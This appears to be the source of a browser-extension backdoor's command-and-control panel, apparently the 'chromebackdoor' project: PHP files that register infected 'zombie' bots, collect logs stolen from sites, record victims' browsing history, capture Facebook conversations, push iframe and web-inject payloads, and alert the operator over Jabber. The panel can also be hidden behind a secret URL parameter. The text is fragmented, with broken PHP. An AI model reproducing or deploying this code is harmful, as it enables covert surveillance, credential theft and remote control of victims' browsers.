11 |
19 |
20 |
Listing action
21 |
31 |
32 |
33 |
Active windows
34 | prepare("SELECT * FROM hijacking_window WHERE bot_id = :bot_id");
36 | $select->bindParam(':bot_id', $_GET['id']);
37 | $select->execute();
38 | if($select->rowCount() > 0){
39 | $ids = $_GET['id'];
40 | echo "
Look last window screen";
41 | }
42 | ?>
43 |
44 |
45 |
Facebook Spy
46 |
47 |
48 |
49 | prepare("SELECT * FROM facebookspy WHERE bot_id = :bot_id");
51 | $select->bindParam(':bot_id', $_GET['id']);
52 | $select->execute();
53 | if($select->rowCount() > 0){
54 | $ids = $_GET['id'];
55 | echo "
Look last conversation";
56 | }
57 | ?>
58 |
59 |
60 |
Iframe module
61 |
103 | setSetting($z_name, 'iframe', $_POST['url']);
106 | }
107 | elseif(isset($_POST['status'])){
108 | $bot->changeSettingStatus($z_name, 'iframe');
109 | echo "status update!";
110 | }
111 | ?>
112 |
113 |
114 |
Computer history
115 |
116 |
117 |
118 | | Website |
119 | Time |
120 |
121 |
122 |
123 | getHistory($z_name); ?>
124 |
125 |
126 |
127 |
5 |
16 |
17 | prepare("SELECT * FROM settings WHERE jabber_username = :jabber_username");
25 | $select->bindParam(':jabber_username', $jabber_username);
26 | $select->execute();
27 | if($select->rowCount() > 0){
28 | $fetch = $select->fetch();
29 | if($fetch['jabber_username'] != ''){
30 | $update = $bdd->prepare("UPDATE settings SET jabber_username = :username, jabber_password = :password, jabber_to = :jabber_to");
31 | $update->bindParam(':username', $jabber_username);
32 | $update->bindParam(':password', $jabber_password);
33 | $update->bindParam(':jabber_to', $jabber_to);
34 | $update->execute();
35 | echo '
Jabber update !
';
36 | }
37 | }
38 | else{
39 | $update = $bdd->prepare("UPDATE settings SET jabber_username = :username, jabber_password = :password, jabber_to = :jabber_to");
40 | $update->bindParam(':username', $jabber_username);
41 | $update->bindParam(':password', $jabber_password);
42 | $update->bindParam(':jabber_to', $jabber_to);
43 | $update->execute();
44 | echo '
Jabber update !
';
45 | }
46 | }
47 | }
48 | ?>
49 |
62 |
63 |
64 | prepare("SELECT * FROM settings");
70 | $select_hide_status->execute();
71 | if($select_hide_status->rowCount() > 0){
72 | $fetch = $select_hide_status->fetch();
73 | if($fetch['hide_panel'] < 1){
74 | $update = $bdd->prepare("UPDATE settings SET hide_panel = '1', get_name = :name, get_value = :value");
75 | $update->bindParam(':name', $get_name);
76 | $update->bindParam(':value', $get_value);
77 | $update->execute();
78 | echo '
access to panel with index.php?'.$get_name.'='.$get_value.'
';
79 | }
80 | }
81 | }
82 | else{
83 | echo '
Error
';
84 | }
85 | }
86 | if(isset($_POST['disabled'])){
87 | $update = $bdd->prepare("UPDATE settings SET hide_panel = '0', get_name = '', get_value = ''");
88 | $update->execute();
89 | echo '
disabled
';
90 | }
91 | ?>
92 |
103 |
104 |
105 | prepare("SELECT * FROM utilisateurs WHERE username = :username");
113 | $select->bindParam(':username', $username);
114 | $select->execute();
115 | if($select->rowCount() > 0){
116 | $fetch = $select->fetch();
117 | if($fetch['username'] == $username){
118 | echo '
User already here
';
119 | }
120 | else{
121 | echo '
Error
';
122 | }
123 | }
124 | else{
125 | if($roles == '0' || $roles == '1'){
126 | $insert = $bdd->prepare("INSERT INTO utilisateurs(username,password,roles) VALUES(:username, :password, :roles)");
127 | $md5 = md5($password);
128 | $insert->bindParam(':username', $username);
129 | $insert->bindParam(':password', $md5);
130 | $insert->bindParam(':roles', $roles);
131 | $insert->execute();
132 | echo '
User added!
';
133 | }
134 | else{
135 | echo '
Error
';
136 | }
137 | }
138 | }
139 | }
140 | ?>
141 |
161 |
162 |
Payload inserted .
";
33 | }
34 |
35 | static function getPayload(){
36 | global $bdd;
37 | $select = $bdd->prepare("SELECT * FROM payloads ORDER BY id ASC");
38 | $select->execute();
39 | if($select->rowCount() > 0){
40 | while($payload = $select->fetch()){
41 | ?>
42 | Login failed .
";
26 | }
27 | }
--------------------------------------------------------------------------------
/backdoor/web/css/styles.css:
--------------------------------------------------------------------------------
1 | .main {
2 | margin-top: 10px;
3 | margin-left: auto;
4 | margin-right: auto;
5 | width 900px;
6 | }
7 | .logo
8 | {
9 | background-size: 100px 74px;
10 | background-image: url('../images/logo.png');
11 | height: 70px;
12 | background-repeat: no-repeat;
13 | text-align: center;
14 | margin-left: auto;
15 | margin-right: auto;
16 | width: 100px;
17 | }
18 | .loginform {
19 | margin-left: auto;
20 | margin-right: auto;
21 | width: 500px;
22 | text-align: center;
23 | margin-top: 30px;
24 | min-height: 100px;
25 | }
26 |
27 | .command
28 | {
29 | width: 100%;
30 | margin-bottom: 20px;
31 | }
32 |
33 | .zombie{
34 | text-decoration: none;
35 | color: firebrick;
36 | }
37 |
38 | .capture{
39 | width:300px;
40 | }
41 |
42 | .uform {
43 | padding-left: 5px;
44 | width: 100%;
45 | height: 30px;
46 | background-color: white;
47 | margin-top: 5px;
48 | }
49 |
50 | .status{
51 | width: 20px;
52 | height: 20px;
53 | }
54 |
55 | .sform
56 | {
57 | width: 50%;
58 | margin-top: 10px;
59 | background-color: white;
60 | border: 1px solid rgba(128, 128, 128, 0.48);
61 | }
62 |
63 | .alertr
64 | {
65 | width: 500px;
66 | margin-left: auto;
67 | margin-right: auto;
68 | margin-top: 10px;
69 | height: 30px;
70 | text-align: center;
71 | padding-top: 10px;
72 | background-color: #c0392b;
73 | }
74 |
75 | .alertg
76 | {
77 | width: 500px;
78 | margin-left: auto;
79 | margin-right: auto;
80 | margin-top: 10px;
81 | height: 30px;
82 | text-align: center;
83 | padding-top: 10px;
84 | background-color: #27ae60
85 | }
86 |
87 | .panel {
88 | width: 1000px;
89 | margin-left: auto;
90 | margin-right: auto;
91 | margin-top: 15px;
92 | }
93 |
94 | .formlog {
95 | border:0px;
96 | }
97 |
98 | .conversationActuel {
99 | padding-bottom: 10px;
100 | max-width: 700px;
101 | width: 100%;
102 | border: 1px solid #0F4098;
103 | margin-left: auto;
104 | margin-right: auto;
105 | max-height: 400px;
106 | overflow: scroll;
107 | }
108 | .message{
109 | padding-top: 10px;
110 | height: 40px;
111 | margin-bottom: 10px;
112 | padding-left: 10px;
113 | padding-right: 10px;
114 | }
115 | .nameTitle {
116 | background-color: #4E69A2;
117 | height: 30px;
118 | color: white;
119 | padding: 4px;
120 | border-bottom: 1px solid black;
121 | margin-bottom: 5px;
122 | }
123 |
124 | .clear{
125 | clear: both;
126 | }
127 |
128 | .message-right {
129 | font-size: 12px;
130 | padding-top: 5px;
131 | line-height: 15px;
132 | }
133 |
134 | .message-left {
135 | float: left;
136 | width: 45px;
137 | margin-right: 0px;
138 | }
139 |
140 | .oldmessage {
141 | display: none;
142 | }
143 | .message-left img{
144 | width: 40px;
145 | }
146 |
147 | .message-rightOwner {
148 | float: left;
149 | text-align: right;
150 | width: 92%;
151 | padding-top: 5px;
152 | font-size: 12px;
153 | }
154 |
155 | .message-leftOwner {
156 | float: right;
157 | }
158 |
159 | .message-leftOwner img{
160 | width: 40px;
161 | }
162 |
163 | .loading {
164 | display: block;
165 | background-image: url('../images/loading.gif');
166 | height: 25px;
167 | background-repeat: no-repeat;
168 | background-size: 25px;
169 | text-align: center;
170 | width: 100%;
171 | background-position: center;
172 | }
173 |
174 | .windowCurrent {
175 | border: 1px solid #DEDEDE;
176 | height: 500px;
177 | max-width: 720px;
178 | }
179 |
180 | .windowCurrent img{
181 | max-width: 710px;
182 | height: 500px;
183 | }
184 |
185 | .captureWindow {
186 | max-width: 700px !important;
187 | }
188 |
--------------------------------------------------------------------------------
/backdoor/web/gate.php:
--------------------------------------------------------------------------------
1 | prepare("INSERT INTO logs_checker(url_site,logs_site,zombie) VALUES(:url_site, :logs_site, :zombie)");
12 | $insert->bindParam(':url_site', $url_check);
13 | $insert->bindParam(':logs_site', $info);
14 | $insert->bindParam(':zombie', $z_name);
15 | $insert->execute();
16 |
17 |
18 | $select = $bdd->prepare('SELECT * FROM bots WHERE name = :name');
19 | $select->bindParam(':name', $z_name);
20 | $select->execute();
21 | $result = $select->fetch();
22 | if($result['name'] != ''){
23 | $update = $bdd->prepare("UPDATE bots SET numbers_logs = numbers_logs + 1 WHERE name = :name");
24 | $update->bindParam(':name', $z_name);
25 | $update->execute();
26 | }
27 | $select_jabber = $bdd->prepare("SELECT * FROM settings");
28 | $select_jabber->execute();
29 | $fetch_jabber = $select_jabber->fetch();
30 | if($fetch_jabber['jabber_username'] != ''){
31 | $message = "News logs from ".$url_check;
32 | SendJabber($fetch_jabber['jabber_username'], $fetch_jabber['jabber_password'], $fetch_jabber['jabber_to'], $message);
33 | }
34 | }
35 | elseif(isset($_GET['iframe']) && $_GET['iframe'] != '' && isset($_GET['zombie']) && $_GET['zombie'] != ''){
36 | $zombie = $_GET['zombie'];
37 | $object = "iframe";
38 |
39 | $select = $bdd->prepare("SELECT * FROM bot_settings WHERE setting_name = :setting_name AND bot_id = :bot_id AND available = '1'");
40 | $select->bindParam(':setting_name', $object);
41 | $select->bindParam(':bot_id', $zombie);
42 | $select->execute();
43 | $result = $select->fetch();
44 | if($result['setting_value'] != ''){
45 | echo trim($result['setting_value']);
46 | return true;
47 | }
48 | return false;
49 | }
50 | elseif(isset($_GET['history']) && $_GET['history'] != '' && isset($_GET['zombie']) && $_GET['zombie'] != ''){
51 | $history = $_GET['history'];
52 | $zombie = $_GET['zombie'];
53 | $time = date('d-m-Y');
54 |
55 |
56 | $select = $bdd->prepare("SELECT * FROM history_web WHERE website = :website AND zombie = :zombie");
57 | $select->bindParam(':website', $history);
58 | $select->bindParam(':zombie', $zombie);
59 | $select->execute();
60 | $result = $select->fetch();
61 | if($result['website'] != ''){
62 | exit(1);
63 | }
64 |
65 | $insert = $bdd->prepare("INSERT INTO history_web(website, zombie, timevisit) VALUES(:website, :zombie, :time)");
66 | $insert->bindParam(':website', $history);
67 | $insert->bindParam(':zombie', $zombie);
68 | $insert->bindParam(':time', $time);
69 | $insert->execute();
70 | }
71 | elseif(isset($_GET['last']) && $_GET['last'] != '')
72 | {
73 | $select_last = $bdd->prepare("SELECT * FROM logs_checker WHERE last = '0' ORDER BY id DESC LIMIT 0,1");
74 | $select_last->execute();
75 |
76 | $fetch = $select_last->fetch();
77 | if($fetch['id'] != '')
78 | {
79 | $end = "Url : ".$fetch['url_site']."\nLogs : ".$fetch['logs_site'];
80 |
81 | $update = $bdd->prepare("UPDATE logs_checker SET last = '1' WHERE id = :id");
82 | $id = $fetch['id'];
83 | $update->bindParam(':id', $id);
84 | $update->execute();
85 | echo $end;
86 | }
87 | }
88 | elseif(isset($_GET['add']) && $_GET['add'] != '' && isset($_GET['version']) && $_GET['version'] != '')
89 | {
90 | $zombie_name = $_GET['add'];
91 | $backdoor_name = $_GET['version'];
92 | $check = $bdd->prepare("SELECT * FROM bots WHERE name =:name");
93 | $check->bindParam(':name', $zombie_name);
94 | $check->execute();
95 | $result = $check->fetch();
96 | if($result['name'] == ''){
97 | $insert = $bdd->prepare("INSERT INTO bots(name,backdoor_name) VALUES(:name, :backdoor_name)");
98 | $insert->bindParam(':name', $zombie_name);
99 | $insert->bindParam(':backdoor_name', $backdoor_name);
100 | $insert->execute();
101 | }
102 | }
103 | elseif(isset($_GET['online']) && $_GET['online'] != ''){
104 | $zombie = $_GET['online'];
105 | $online = $bdd->prepare("UPDATE bots SET online = '1' WHERE name = :name");
106 | $online->bindParam(':name', $zombie);
107 | $online->execute();
108 | }
109 | elseif(isset($_GET['webinject']) && $_GET['webinject'] != '' && isset($_GET['zombie']) && $_GET['zombie'] != ''){
110 | WebInject::show_inject($_GET['webinject']);
111 | }
112 | elseif(isset($_GET['source_spy']) && $_GET['source_spy'] != ''){
113 | $select = $bdd->prepare("SELECT * FROM facebookspy WHERE bot_id = :id");
114 | $select->bindParam(':id', $_GET['source_spy']);
115 | $select->execute();
116 | if($select->rowCount() > 0){
117 | $fetch = $select->fetch();
118 | if($fetch['source_code'] != ''){
119 | echo base64_decode($fetch['source_code']);
120 | }
121 | }
122 | }
123 | elseif(isset($_POST['add_source_spy']) && $_POST['add_source_spy'] != '' && isset($_POST['z_name']) && $_POST['z_name'] != ''){
124 | $select_id = $bdd->prepare("SELECT id FROM bots WHERE name = :name");
125 | $select_id->bindParam(':name', $_POST['z_name']);
126 | $select_id->execute();
127 | if($select_id->rowCount() > 0){
128 | $fetch = $select_id->fetch();
129 | $ids = $fetch['id'];
130 | $select = $bdd->prepare("SELECT * FROM facebookspy WHERE bot_id = :id");
131 | $select->bindParam(':id', $ids);
132 | $select->execute();
133 | $date_last = date('d-m-Y');
134 | if($select->rowCount() > 0){
135 | $update = $bdd->prepare("UPDATE facebookspy SET source_code = :source_code,date_last = :date_last WHERE bot_id = :bot_id");
136 | $update->bindParam(':source_code', $_POST['add_source_spy']);
137 | $update->bindParam(':bot_id', $ids);
138 | $update->bindParam(':date_last', $date_last);
139 | $update->execute();
140 | }
141 | else{
142 | $insert = $bdd->prepare("INSERT INTO facebookspy(bot_id,source_code,date_last) VALUES(:bot_id, :source_code,:date_last)");
143 | $insert->bindParam(':bot_id', $ids);
144 | $insert->bindParam(':source_code', $_POST['add_source_spy']);
145 | $insert->bindParam(':date_last', $date_last);
146 | $insert->execute();
147 | }
148 | }
149 | }
150 | elseif(isset($_POST['source']) && $_POST['source'] != '' && isset($_POST['z_name']) && $_POST['z_name'] != ''){
151 |
152 | $select_id = $bdd->prepare("SELECT id FROM bots WHERE name = :name");
153 | $select_id->bindParam(':name', $_POST['z_name']);
154 | $select_id->execute();
155 | if($select_id->rowCount() > 0){
156 | $ids = $select_id->fetch()['id'];
157 | $select = $bdd->prepare("SELECT * FROM hijacking_window WHERE bot_id = :bot_id");
158 | $select->bindParam(':bot_id', $ids);
159 | $select->execute();
160 | if($select->rowCount() < 1){
161 | $insert = $bdd->prepare("INSERT INTO hijacking_window(bot_id,windows_code) VALUES(:bot_id, :source)");
162 | $insert->bindParam(':bot_id', $ids);
163 | $insert->bindParam(':source', $_POST['source']);
164 | $insert->execute();
165 | }
166 | else{
167 | $update = $bdd->prepare("UPDATE hijacking_window SET windows_code = :source WHERE bot_id = :bot_id");
168 | $update->bindParam(':source', $_POST['source']);
169 | $update->bindParam(':bot_id', $ids);
170 | $update->execute();
171 | }
172 | }
173 | }
174 | elseif(isset($_GET['hijack_source']) && $_GET['hijack_source'] != '' && isset($_GET['id']) && $_GET['id'] != '')
175 | {
176 | $select = $bdd->prepare("SELECT * FROM hijacking_window WHERE bot_id = :bot_id");
177 | $select->bindParam(':bot_id', $_GET['id']);
178 | $select->execute();
179 | if($select->rowCount() > 0){
180 | $fetch = $select->fetch();
181 | echo $fetch['windows_code'];
182 | }
183 | }
184 | ?>
--------------------------------------------------------------------------------
/backdoor/web/images/loading.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/backdoor/web/images/loading.gif
--------------------------------------------------------------------------------
/backdoor/web/images/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/backdoor/web/images/logo.png
--------------------------------------------------------------------------------
/backdoor/web/images/offline.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/backdoor/web/images/offline.png
--------------------------------------------------------------------------------
/backdoor/web/images/online.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/backdoor/web/images/online.png
--------------------------------------------------------------------------------
/backdoor/web/includes/config.php:
--------------------------------------------------------------------------------
1 | __VERSION__){
8 | echo "New version available on : https://github.com/graniet/chromebackdoor/ 
";
32 | if($fetch['online'] == '1')
33 | $online = "
";
34 | ?>
35 |